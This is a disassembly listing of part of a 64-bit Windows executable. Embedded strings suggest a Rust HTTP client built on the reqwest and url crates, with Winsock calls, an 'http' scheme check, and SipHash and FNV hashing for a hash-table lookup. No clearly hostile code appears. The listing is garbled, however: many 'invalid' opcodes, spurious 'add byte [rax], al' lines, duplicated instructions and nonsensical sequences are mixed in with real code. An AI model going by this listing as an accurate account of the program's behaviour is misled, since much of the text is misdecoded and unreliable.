add byte [rax + 0x4000], bh
je 0x14011b551
mov eax, dword [rsp + 0x38c]
mov dword [rsp + 0xe0], eax
loopne 0x14011b556
add byte [rax], al
mov dword [rsp + 0x58], ecx
and al, 0x58
mov eax, dword [rsp + 0x3e8]
xor r14d, r14d
mov ecx, setsockopt
add byte [rax], al
add byte [rax], al
mov edx, 0
cmp eax, 0x3b9aca00
je 0x14011b581
mov rcx, qword [rsp + 0x3e0]
mov edx, eax
mov dword [rsp + 0x60], edx
mov qword [rsp + 0x98], rcx
add byte [rbx + 0x3d82484], cl
add byte [rax], al
mov dword [rsp + 0x54], eax
and al, 0x54
mov rax, qword [rsp + 0x3d0]
mov qword [rsp + 0xf0], rax
movzx eax, byte [rsp + 0x47d]
test byte [rdi*2 - 0x77fffffc], ah
and al, 0x68
test byte [rdi*2 - 0x77fffffc], ah
and al, 0x68
mov rax, qword [rsp + 0x3a0]
mov qword [rsp + 0xb8], rax
mov eax, dword [rsp + 0x3a8]
and al, 0xa8
add eax, dword [rax]
add byte [rax], al
mov dword [rsp + 0xd0], eax
add byte [rax], al
mov dword [rsp + 0xd0], eax
mov rax, qword [rsp + 0x450]
mov qword [rsp + 0x48], rax
mov rsi, qword [rsp + 0x3b0]
add byte [rax], al
add eax, dword [rax]
add byte [rbx + 0x3b824bc], cl
add byte [rax], al
mov edi, dword [rsp + 0x3b8]
add byte [rax], al
lea rcx, [rsp + 0x630]
call fcn.1400a5d70
mov qword [rax + 0x40], rsi
mov dword [rax + 0x48], edi
js 0x14011b64a
movzx eax, byte [rsp + 0x477]
mov byte [rsp + 0x90], al
movzx eax, byte [rsp + 0x478]
and al, 0x78
add al, 0
invalid
and al, 0x78
add al, 0
add byte [rax + 0xf7c2444], cl
mov dh, 0x84
and al, 0x79
add al, 0
add byte [rax + 0xa82484], cl
add byte [rax], al
invalid
mov byte [rsp + 0x7c], al
movzx eax, byte [rsp + 0x479]
mov byte [rsp + 0xa8], al
add byte [rax], al
invalid
movzx eax, byte [rsp + 0x47a]
mov byte [rsp + 0xd8], al
movzx eax, byte [rsp + 0x47b]
mov byte [rsp + 0xb0], al
test byte [rax + rsi*4], ah
add byte [rax], al
invalid
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
and byte [r8 - 0x7b], cl
ror byte [rdi], 0x84
sub eax, 0x48000001
add byte [rax], al
invalid
mov rax, qword [rbx + 0x20]
test rax, rax
je 0x14011b784
add byte [rax], al
mov rsi, qword [rbx + 0x10]
mov esi, dword [rbx + 0x10]
mov rcx, rax
shl rcx, 7
lea r13, [rcx + rax*8]
add r13, rsi
lea r12, [0x14020ac64]
hlt
cmc
invalid
add byte [rax - 0x73], cl
cmp eax, 0xe952c
invalid
hlt
lea edi, [0x140204ba3]
add byte [rsi + 0xf], ah
jbe 0x14011b671
pcmpeqd xmm6, xmm6
jmp 0x14011b69a
jle 0x14011b6d3
add cl, byte [rdi]
test edx, edi
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
add rsi, 0x88
cmp rsi, r13
je 0x14011b781
test bh, ah
add byte [rax], al
invalid
test bh, ah
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov rax, qword [rsi]
mov r14b, 1
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
add byte [rax], al
mov r8, rdi
call fcn.140004500
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
mov r8, rax
mov eax, eax
shr r8, 0x39
movd xmm0, r8d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r8d, r8d
and rax, rdx
and eax, edx
movdqu xmm1, xmmword [rcx + rax]
movdqa xmm2, xmm0
pcmpeqb xmm2, xmm1
pmovmskb r9d, xmm2
test r9d, r9d
jne 0x14011b740
pcmpeqb xmm1, xmm6
pmovmskb r9d, xmm1
test r9d, r9d
jne 0x14011b68a
add rax, r8
add rax, 0x10
add r8, 0x10
jmp 0x14011b6ef
lea r10d, [r9 - 1]
and r10d, r9d
mov r9d, r10d
test r10w, r10w
je 0x14011b709
tzcnt r10d, r9d
add r10, rax
and r10, rdx
neg r10
imul r10, r10, 0x68
cmp qword [rcx + r10 - 0x58], 4
jne case.0x14011161e.25
add r10, rcx
mov r11, qword [r10 - 0x68]
cmp dword [r11], 0x70747468
jne case.0x14011161e.25
retf 0x8b4d
invalid
cmp qword [rsp + 0x48], 0
mov byte [rsp + 0x40], bpl
mov dword [rsp + 0x38], r15d
je 0x14011b7da
mov ecx, 8
mov edx, 0x28
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, reloc.WS2_32.dll_recv
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x80
call fcn.14015d7f0
ud2
lea rax, [0x1401d8758]
mov qword [rsp + 0xa20], rax
lea rax, [0x14009a1b0]
mov qword [rsp + 0xa28], rax
mov qword [rsp + 0x20], 1
lea rdx, str.internal_error:_entered_unreachable_code:
lea rsi, [rsp + 0x750]
lea r9, [rsp + 0xa20]
mov r8d, 1
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_src_async_implclient.rs
jmp 0x14011c070
mov ecx, 8
mov edx, 0x40
call fcn.14015d7f0
ud2
mov rcx, rsi
call fcn.140160e20
ud2
mov ecx, 8
mov edx, WSAStartup
call fcn.14015d7f0
ud2
jo 0x14011c285
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + riz*8], ah
add eax, dword [rax]
add byte [rax - 0x77], cl
test byte [rax + rcx*8], ah
invalid
mov rax, qword [rsp + 0x3e0]
mov qword [rsp + 0x6c8], rax
mov eax, dword [rsp + 0x3e8]
mov dword [rsp + 0x11c], eax
movzx eax, byte [rsp + 0x3f0]
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x54], al
movzx eax, byte [rsp + 0x3f1]
mov byte [rsp + 0x36], al
movzx eax, byte [rsp + 0x3f2]
mov byte [rsp + 0x37], al
mov eax, dword [rsp + 0x3f3]
mov dword [rsp + 0x220], eax
movzx eax, byte [rsp + 0x3f7]
mov byte [rsp + 0x224], al
mov rax, qword [rsp + 0x3f8]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x400]
mov qword [rsp + 0x90], rax
movzx eax, byte [rsp + 0x408]
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x410]
mov qword [rsp + 0xf0], rax
lock sub qword [r13 + 0x1c8], 2
jb 0x14011f0a3
mov r15, qword [rsp + 0x80]
lea rdi, [rsp + 0xa20]
lea rdx, [rsp + 0x750]
mov r8d, 0x90
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rsp + 0x150]
movaps xmm1, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0x1c0], xmm0
movaps xmmword [rsp + 0x1d0], xmm1
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x1e0], rax
mov eax, dword [rsp + 0x220]
mov dword [rsp + 0x290], eax
movzx eax, byte [rsp + 0x224]
mov byte [rsp + 0x294], al
mov byte [rsi], 1
lea rcx, [rsp + 0x610]
mov r8d, 0x90
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rsp + 0x1c0]
movaps xmm1, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x5e0], xmm0
movaps xmmword [rsp + 0x5f0], xmm1
and al, 0xf0
add eax, 0x8b480000
test byte [rax + riz*8], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rax], ah
invalid
add byte [rax], al
mov eax, dword [rsp + 0x290]
mov dword [rsp + 0xf8], eax
movzx eax, byte [rsp + 0x294]
mov byte [rsp + 0xfc], al
cmp ebx, 2
je 0x14011d864
and al, 0xf0
add eax, 0x8b480000
test byte [rax + riz*8], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rax], ah
invalid
lea r14, [rsp + 0xd30]
lea rdx, [rsp + 0x610]
mov r8d, 0x90
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
add al, 0
add al, 0
movaps xmm0, xmmword [rsp + 0x5e0]
movaps xmm1, xmmword [rsp + 0x5f0]
movaps xmmword [rsp + 0xcd0], xmm0
movaps xmmword [rsp + 0xce0], xmm1
mov rax, qword [rsp + 0x600]
mov qword [rsp + 0xcf0], rax
movzx eax, byte [rsp + 0xfc]
mov byte [rsp + 0xcc], al
mov eax, dword [rsp + 0xf8]
mov dword [rsp + 0xc8], eax
mov r12, qword [r15 + 0x1a8]
mov rax, qword [rsp + 0x600]
mov qword [rsp + 0x2f0], rax
movaps xmm0, xmmword [rsp + 0x5e0]
movaps xmm1, xmmword [rsp + 0x5f0]
movaps xmmword [rsp + 0x2e0], xmm1
movaps xmmword [rsp + 0x2d0], xmm0
movups xmm0, xmmword [rsp + 0xdb0]
movaps xmmword [rsp + 0xd10], xmm0
movups xmm0, xmmword [rsp + 0xda0]
movaps xmmword [rsp + 0x1a0], xmm0
movups xmm0, xmmword [rsp + 0xd90]
movaps xmmword [rsp + 0x190], xmm0
movups xmm0, xmmword [rsp + 0xd50]
movups xmm1, xmmword [rsp + 0xd60]
movdqu xmm2, xmmword [rsp + 0xd70]
movdqu xmm3, xmmword [rsp + 0xd80]
movdqa xmmword [rsp + 0x180], xmm3
and al, 0x80
add dword [rax], eax
add byte [rsi + 0xf], ah
jg 0x14011c4a7
and al, 0x70
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x160], ecx
movaps xmmword [rsp + 0x150], xmm0
mov qword [rsp + 0x120], rbx
movdqu xmm0, xmmword [rsp + 0x610]
outsd dx, dword [rsi]
test byte [rax + rdx], ah
invalid
add byte [rax], al
movdqu xmm1, xmmword [rsp + 0x620]
movdqu xmmword [rsp + 0x128], xmm0
movdqu xmmword [rsp + 0x138], xmm1
cmp dword [rsp + 0x98], 0
je 0x14011c6b1
mov r15d, dword [rsp + 0x98]
cmp qword [rsp + 0x68], r15
jbe 0x14011c582
mov rax, qword [rsp + 0x60]
cmp byte [rax + r15], 0xbf
jg 0x14011c588
jmp 0x14011c611
jne 0x14011c611
cmp dword [rsp + 0x98], 4
jne 0x14011c5aa
lea rdx, [0x140204ba3]
mov rcx, qword [rsp + 0x60]
mov r8, r15
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14011c5eb
cmp qword [rsp + 0x68], r15
jbe 0x14011c5bf
mov rax, qword [rsp + 0x60]
cmp byte [rax + r15], 0xbf
jg 0x14011c5c1
jmp 0x14011c611
jne 0x14011c611
cmp dword [rsp + 0x98], 5
jne 0x14011c6b1
lea rdx, [0x140204ba7]
mov rcx, qword [rsp + 0x60]
mov r8, r15
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14011c6b1
cmp byte [r12 + 0x1ba], 0
je 0x14011cdac
cmp qword [rsp + 0x68], r15
jbe 0x14011c689
mov rax, qword [rsp + 0x60]
cmp byte [rax + r15], 0xbf
jg 0x14011c68b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.4.1_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
xor r8d, r8d
mov r9, r15
call fcn.140161400
ud2
jne 0x14011c611
cmp dword [rsp + 0x98], 5
jne 0x14011c6b1
lea rdx, [0x140204ba7]
mov rcx, qword [rsp + 0x60]
mov r8, r15
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14011cdac
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
test ecx, ecx
jne 0x14011c6dd
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov cx, 4
test rax, rax
je 0x14011c07a
invalid
invalid
invalid
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, WSAStartup
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
je 0x14011c07a
mov qword [r15 + 0x58], 1
lea rax, [0x1401d3048]
mov qword [r15 + 0x60], rax
mov word [r15 + 0x68], 0
movups xmm0, xmmword [r14 + 0x80]
movups xmmword [r15], xmm0
mov rax, qword [rsp + 0x60]
mov qword [r15 + 0x10], rax
mov rax, qword [rsp + 0xd8]
mov qword [r15 + 0x18], rax
mov rax, qword [rsp + 0x68]
mov qword [r15 + 0x20], rax
mov eax, dword [rsp + 0x7c]
mov dword [r15 + 0x28], eax
mov eax, dword [rsp + 0x98]
mov dword [r15 + 0x2c], eax
mov rax, qword [rsp + 0xcf0]
mov qword [r15 + 0x50], rax
movaps xmm0, xmmword [rsp + 0xcd0]
movaps xmm1, xmmword [rsp + 0xce0]
movups xmmword [r15 + 0x40], xmm1
movups xmmword [r15 + 0x30], xmm0
cmp qword [rsp + 0x120], 0
je 0x14011c78c
lea rcx, [rsp + 0x128]
call fcn.1400aca70
lea rcx, [rsp + 0x150]
call fcn.14006a760
cmp byte [rsp + 0x54], 0xa
mov r14, qword [rsp + 0x70]
jb 0x14011c7c7
cmp qword [rsp + 0x90], 0
je 0x14011c7c7
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r13d, 2
movaps xmm0, xmmword [rsp + 0x1c0]
movaps xmm1, xmmword [rsp + 0x1d0]
movdqa xmm2, xmmword [rsp + 0x1e0]
movdqa xmm3, xmmword [rsp + 0x1f0]
movups xmmword [rsp + 0xa48], xmm0
add byte [rax], al
add byte [rax], al
movups xmmword [rsp + 0xa58], xmm1
movdqu xmmword [rsp + 0xa68], xmm2
movdqu xmmword [rsp + 0xa78], xmm3
movaps xmm0, xmmword [rsp + 0x200]
movups xmmword [rsp + 0xa88], xmm0
movaps xmm0, xmmword [rsp + 0x210]
movups xmmword [rsp + 0xa98], xmm0
movaps xmm0, xmmword [rsp + 0x730]
movups xmmword [rsp + 0xaa8], xmm0
mov rax, qword [rsp + 0x740]
mov qword [rsp + 0xab8], rax
mov rax, qword [rsp + 0x748]
mov qword [rsp + 0xac0], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0xac8], rax
mov eax, dword [rsp + 0xd0]
mov dword [rsp + 0xad0], eax
mov eax, dword [rsp + 0xb8]
mov dword [rsp + 0xad4], eax
movaps xmm0, xmmword [rsp + 0x5b0]
movaps xmm1, xmmword [rsp + 0x5c0]
movups xmmword [rsp + 0xad8], xmm0
movups xmmword [rsp + 0xae8], xmm1
mov rax, qword [rsp + 0x5d0]
mov qword [rsp + 0xaf8], rax
movzx eax, byte [rsp + 0xa8]
mov byte [rsp + 0xb00], al
movzx eax, byte [rsp + 0x58]
mov byte [rsp + 0xb01], al
movzx eax, byte [rsp + 0x38]
mov byte [rsp + 0xb02], al
movzx eax, byte [rsp + 0x27c]
mov byte [rsp + 0xb07], al
mov eax, dword [rsp + 0x278]
mov dword [rsp + 0xb03], eax
mov rax, qword [rsp + 0xb0]
mov eax, dword [rsp + 0xb0]
mov qword [rsp + 0xb08], rax
mov rax, qword [rsp + 0xa0]
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx], ah
or eax, dword [rax]
add byte [rax - 0x39], cl
test byte [rax + rbx], ah
or eax, dword [rax]
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x6b0], al
movups xmmword [rsp + 0xb20], xmm0
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xb30], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0xb38], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0xb40], rax
mov qword [rsp + 0xb48], 0
mov qword [rsp + 0xb50], r14
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0xb58], rax
mov byte [rsp + 0xcb8], 0
lea rax, [rsp + 0x220]
mov qword [rsp + 0xcc0], rax
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x14011ca3d
test eax, eax
jne 0x14011ef65
lea rcx, [rsp + 0x750]
lea rdx, [rsp + 0xa20]
mov r8d, 0x2a8
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x90]
movabs rcx, 0x7fffffffffffffff
cmp rax, rcx
jae 0x14011ef0c
xor ecx, ecx
cmp qword [r12 + 0x160], 0
sete cl
add rcx, rcx
xor r15d, r15d
movdqa xmm6, xmmword [str.uespemosarenegylmodnarodsetybdet]
movdqa xmm7, xmmword [0x140168640]
pxor xmm8, xmm8
lea r13, [rsp + 0x300]
lea rbp, [rsp + 0x750]
movabs rdi, 0x100000001b3
mov r14, qword [rsp + 0xc0]
mov qword [rsp + 0xa0], r12
jmp 0x14011cf76
cmp rbp, 0x200
setae bl
cmp dword [rsp + 0x58], 2
setne dil
mov rax, qword [r10]
test rax, rax
je 0x14011d03e
lea rdx, [r10 + 0x18]
mov r8, qword [r10 + 8]
mov r9, qword [r10 + 0x10]
lea r13, [rsp + 0x300]
mov rcx, r13
call qword [rax]
mov rax, qword [rsp + 0x300]
movzx ecx, byte [rsp + 0x308]
movzx edx, byte [rsp + 0x30f]
shl edx, 0x10
movzx r8d, word [rsp + 0x30d]
or r8d, edx
shl r8, 0x20
mov r14d, dword [rsp + 0x309]
or r14, r8
lea rdx, [rsp + 0x330]
movdqu xmm0, xmmword [rdx - 0x20]
movdqa xmmword [rsp + 0x750], xmm0
mov r15, qword [rsp + 0x48]
lea rbp, [rsp + 0x750]
and bl, dil
movaps xmm0, xmmword [rsp + 0x750]
movaps xmmword [rsp + 0xa20], xmm0
mov rdx, r14
shl rdx, 8
movzx ecx, cl
or rcx, rdx
movdqa xmm0, xmmword [rsp + 0xa20]
movdqa xmmword [rsp + 0x1c0], xmm0
lea rdx, [rsp + 0x150]
mov qword [rsp + 0x290], rdx
mov qword [rsp + 0x298], rax
mov qword [rsp + 0x2a0], rcx
lea rcx, [rsp + 0x2a8]
movdqu xmmword [rcx], xmm0
mov qword [rsp + 0x2b8], r12
mov word [rsp + 0x2c0], si
mov byte [rsp + 0x2c2], bl
movzx eax, byte [rsp + 0x224]
mov byte [rcx + 0x1f], al
mov eax, dword [rsp + 0x220]
mov dword [rcx + 0x1b], eax
mov rsi, qword [rsp + 0x38]
lea rdx, [rsi + 0x18]
mov rax, qword [rsi]
mov r8, qword [rsi + 8]
mov r9, qword [rsi + 0x10]
mov rcx, r13
call qword [rax]
movzx eax, byte [rsi + 0x20]
mov byte [rsp + 0x320], al
lea rcx, [rsp + 0x290]
mov rdx, r13
call fcn.1400adc70
mov r12, qword [rsp + 0xa0]
movabs rdi, 0x100000001b3
mov rcx, qword [rsp + 0x40]
cmp rcx, 2
mov qword [rsp + 0xc0], r14
jne 0x14011cfa0
inc r15
cmp r15, qword [r12 + 0x160]
jae 0x14011d5a3
mov rax, qword [r12 + 0x150]
jmp 0x14011d010
mov rdx, qword [r12 + 0x160]
cmp r15, rdx
jae 0x14011ebde
mov rax, qword [r12 + 0x150]
cmp rcx, 1
jne 0x14011d010
mov rdx, qword [r12 + 0x178]
mov rcx, qword [rsp + 0x88]
cmp rcx, rdx
jae 0x14011ebef
mov rdx, rcx
mov rcx, qword [r12 + 0x168]
lea rdx, [rdx + rdx*8]
cmp qword [rcx + rdx*8 + 0x10], 0
je 0x14011d05f
mov r8, qword [rcx + rdx*8 + 0x18]
mov qword [rsp + 0x88], r8
mov r8d, 1
mov qword [rsp + 0x40], r8
jmp 0x14011d06a
imul rcx, r15, 0x68
mov rdx, qword [rax + rcx + 8]
mov qword [rsp + 0x88], rdx
cmp qword [rax + rcx], 1
mov edx, 0
adc rdx, 1
mov qword [rsp + 0x40], rdx
lea rsi, [rax + rcx]
add rsi, 0x18
jmp 0x14011d072
movzx ecx, byte [r10 + 8]
xor eax, eax
mov r14, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x48]
lea r13, [rsp + 0x300]
jmp 0x14011ce99
mov r8d, 2
mov qword [rsp + 0x40], r8
lea rsi, [rcx + rdx*8]
add rsi, 0x20
imul rcx, r15, 0x68
lea rbx, [rax + rcx]
add rbx, 0x40
lea rcx, [rsp + 0x150]
call fcn.1400a4d90
mov r12, qword [rsp + 0x150]
cmp r12, 2
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x58], r12
jne 0x14011d140
movdqu xmm0, xmmword [rsp + 0x158]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmm6
movdqa xmmword [rsp + 0x300], xmm1
pshufd xmm1, xmm0, 0xee
pxor xmm1, xmm7
movdqa xmmword [rsp + 0x310], xmm1
movdqa xmmword [rsp + 0x320], xmm0
lea rax, [rsp + 0x330]
movdqa xmmword [rax], xmm8
mov qword [rax + 0x10], 0
mov rsi, qword [rbx]
xor eax, eax
test rsi, rsi
setne al
mov qword [rsp + 0x750], rax
mov r8d, 8
mov rcx, r13
mov rdx, rbp
call fcn.140006000
test rsi, rsi
je 0x14011d1c4
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
mov rcx, r13
jmp 0x14011d1dc
mov rax, qword [rbx]
xor edx, edx
test rax, rax
setne dl
movabs rcx, 0xcbf29ce484222325
xor rdx, rcx
movabs rcx, 0x1efac7090aef4a21
imul rdx, rcx
test rax, rax
mov r10, rbx
je 0x14011d2eb
mov r8, qword [r10 + 0x10]
test r8, r8
je 0x14011d2f7
mov rax, qword [r10 + 8]
mov r9, r8
and r9, 7
je 0x14011d2ff
mov rcx, rax
nop word cs:[rax + rax]
movzx esi, byte [rcx]
inc rcx
xor rsi, rdx
imul rsi, rdi
mov rdx, rsi
dec r9
jne 0x14011d1a0
cmp r8, 8
jae 0x14011d30f
jmp 0x14011d390
movzx eax, byte [rbx + 8]
mov qword [rsp + 0x750], rax
mov r8d, 8
mov rcx, r13
mov rdx, rbp
call fcn.140006000
mov rax, qword [rsp + 0x310]
mov r9, qword [rsp + 0x330]
shl r9, 0x38
or r9, qword [rsp + 0x338]
mov rcx, qword [rsp + 0x318]
mov r8, qword [rsp + 0x300]
add r8, rax
rol rax, 0xd
xor rcx, r9
xor rax, r8
rol r8, 0x20
mov rdx, qword [rsp + 0x308]
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rcx, r8
xor rax, rdx
rol rdx, 0x20
xor r8, r9
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
add rdx, rcx
shl rcx, 0x10
xor rcx, rdx
shr rcx, 0x2b
add rdx, rax
shr rax, 0x2f
xor rax, rcx
mov rsi, rdx
shr rsi, 0x20
xor rsi, rdx
xor rsi, rax
mov r10, qword [rsp + 0x70]
jmp 0x14011d390
movzx eax, byte [r10 + 8]
xor rdx, rax
imul rdx, rcx
mov rsi, rdx
jmp 0x14011d390
mov rsi, rdx
mov rcx, rax
cmp r8, 8
jb 0x14011d390
add rax, r8
nop word cs:[rax + rax]
movzx edx, byte [rcx]
xor rdx, rsi
imul rdx, rdi
movzx r8d, byte [rcx + 1]
xor r8, rdx
imul r8, rdi
movzx edx, byte [rcx + 2]
xor rdx, r8
imul rdx, rdi
movzx r8d, byte [rcx + 3]
xor r8, rdx
imul r8, rdi
movzx edx, byte [rcx + 4]
xor rdx, r8
imul rdx, rdi
movzx r8d, byte [rcx + 5]
xor r8, rdx
imul r8, rdi
movzx edx, byte [rcx + 6]
xor rdx, r8
imul rdx, rdi
movzx esi, byte [rcx + 7]
add rcx, 8
xor rsi, rdx
imul rsi, rdi
cmp rcx, rax
jne 0x14011d320
nop word cs:[rax + rax]
and esi, 0x7fff
movzx r14d, word [rsp + 0x1a8]
mov r12d, esi
and r12d, r14d
mov rdi, qword [rsp + 0x168]
mov r15, qword [rsp + 0x170]
mov rbx, qword [rsp + 0x188]
mov r13, qword [rsp + 0x178]
xor ebp, ebp
jmp 0x14011d3e6
movzx eax, byte [rax + 8]
cmp al, byte [r10 + 8]
je 0x14011d491
nop word [rax + rax]
inc rbp
inc r12
mov rax, r12
nop dword [rax]
mov r12, rax
mov eax, 0
cmp r12, r15
jae 0x14011d3f0
movzx ecx, word [rdi + r12*4]
cmp rcx, 0xffff
je 0x14011ce10
movzx eax, word [rdi + r12*4 + 2]
mov edx, r14d
and edx, eax
mov r8d, r12d
sub r8d, edx
mov edx, r14d
and edx, r8d
cmp rdx, rbp
jb 0x14011d4d0
cmp ax, si
jne 0x14011d3e0
cmp rbx, rcx
jbe 0x14011e471
imul rax, rcx, 0x68
mov rcx, qword [r13 + rax + 0x40]
test rcx, rcx
setne dl
cmp qword [r10], 0
sete r8b
cmp dl, r8b
je 0x14011d3e0
add rax, r13
add rax, 0x40
test rcx, rcx
je 0x14011d3c9
mov r8, qword [rax + 0x10]
cmp r8, qword [r10 + 0x10]
jne 0x14011d3e0
mov rdx, qword [r10 + 8]
mov rcx, qword [rax + 8]
call sub.VCRUNTIME140.dll_memcmp
mov r10, qword [rsp + 0x70]
test eax, eax
jne 0x14011d3e0
movdqu xmm0, xmmword [rsp + 0xa20]
movdqa xmmword [rsp + 0x1c0], xmm0
mov r14, qword [rsp + 0xc0]
mov esi, dword [rsp + 0xc0]
mov esi, dword [rsp + 0xc0]
mov r12, qword [rsp + 0xa0]
mov r15, qword [rsp + 0x48]
lea r13, [rsp + 0x300]
lea rbp, [rsp + 0x750]
jmp 0x14011cf67
cmp rbp, 0x200
setae bl
cmp dword [rsp + 0x58], 2
setne dil
mov rax, qword [r10]
test rax, rax
mov rdx, qword [rsp + 0xe0]
mov r14, qword [rsp + 0xc0]
je 0x14011d567
lea rdx, [r10 + 0x18]
mov r8, qword [r10 + 8]
mov r9, qword [r10 + 0x10]
lea r13, [rsp + 0x300]
mov rcx, r13
call qword [rax]
mov rax, qword [rsp + 0x300]
movzx ecx, byte [rsp + 0x308]
movzx edx, byte [rsp + 0x30f]
shl edx, 0x10
movzx r8d, word [rsp + 0x30d]
or r8d, edx
shl r8, 0x20
mov edx, dword [rsp + 0x309]
or rdx, r8
lea r8, [rsp + 0x330]
movdqu xmm0, xmmword [r8 - 0x20]
movdqa xmmword [rsp + 0x750], xmm0
mov r15, qword [rsp + 0x48]
jmp 0x14011d57b
movzx ecx, byte [r10 + 8]
xor eax, eax
mov r15, qword [rsp + 0x48]
lea r13, [rsp + 0x300]
lea rbp, [rsp + 0x750]
and bl, dil
movaps xmm0, xmmword [rsp + 0x750]
movaps xmmword [rsp + 0xa20], xmm0
mov qword [rsp + 0xe0], rdx
jmp 0x14011ceb7
lea rbx, [0x140204680]
cmp qword [rsp + 0x68], 0
je 0x14011d960
js 0x14011efd4
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
je 0x14011d988
mov rsi, qword [rsp + 0x68]
jmp 0x14011d9a6
test bpl, bpl
je case.0x1400e7c4b.272
mov eax, dword [0x1402153fc]
add eax, 0xf7d82
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x14011d6c8
test eax, eax
jne case.0x1400e7c4b.272
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [rbx + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0xdc], 1
mov byte [rax + 0xdd], dil
jmp case.0x1400e7c4b.272
mov rsi, qword [r15 + 0x1b0]
cmp byte [rsi + 0x198], 0
jne 0x14011d87b
mov byte [rsi + 0x198], 1
lea rdi, [rsi + 0x80]
lock or qword [rsi + 0x1c8], 1
lea rcx, [rsi + 0x1a0]
call fcn.14014d620
lea rbx, [rsi + 0x180]
lea r14, [rsp + 0x300]
nop word cs:[rax + rax]
mov rcx, r14
mov rdx, rbx
mov r8, rdi
call fcn.140114210
cmp dword [rsp + 0x300], 1
ja 0x14011d8eb
lock sub qword [rsi + 0x1c8], 2
jb 0x14011f09a
cmp dword [rsp + 0x300], 1
ja 0x14011d8b0
mov rcx, r14
call fcn.140114420
jmp 0x14011d8b0
lock dec qword [rsi]
jne case.0x1400693d1.2228
mov rcx, qword [r15 + 0x1b0]
call fcn.140114150
mov rax, qword [r15 + 0x1a8]
lock dec qword [rax]
mov bl, 1
jne 0x14011d918
lea rcx, [r15 + 0x1a8]
call fcn.140113d30
xor eax, eax
mov byte [r15 + 0x1d0], bl
movaps xmm6, xmmword [rsp + 0xdc0]
movaps xmm7, xmmword [rsp + 0xdd0]
movaps xmm8, xmmword [rsp + 0xde0]
movaps xmm9, xmmword [rsp + 0xdf0]
movaps xmm10, xmmword [rsp + 0xe00]
add rsp, 0xe18
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, [0x140204680]
